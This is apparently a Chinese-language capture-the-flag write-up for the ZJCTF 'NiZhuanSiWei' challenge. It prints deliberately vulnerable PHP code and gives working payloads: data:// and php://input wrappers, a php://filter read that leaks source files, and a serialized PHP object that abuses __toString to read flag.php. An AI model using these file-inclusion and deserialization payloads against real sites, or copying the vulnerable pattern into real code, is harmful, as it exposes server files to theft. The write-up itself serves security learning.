NiZhuanSiWei

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

$text 参数要求读入一个文件为内容 "welcome to the zjctf",这里可以尝试php://input协议读入文件:

?text=php://input

再用POST传参的方式写入:

welcome to the zjctf

也可以使用data伪协议进行绕过:

?text=data://text/plain,welcome to the zjctf
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

$file 参数要求文件包含,这里用正则表达式过滤了flag.php,但是提示了存在useless.php,通过filter伪协议读取。

file=php://filter/convert.base64-encode/resource=useless.php

读取源码:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

定义了一个类Flag,以及类中存在一个魔术方法__tostring(),分析该魔术方法可得,如果该文件设置了 $file 属性,则进行文件包含,并输出文件的内容。

查看index.php,其中对类进行反序列化之后直接输出,调用了魔术方法,所以直接构造反序列化字符串,定义变量内容为flag.php即可。

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

Last updated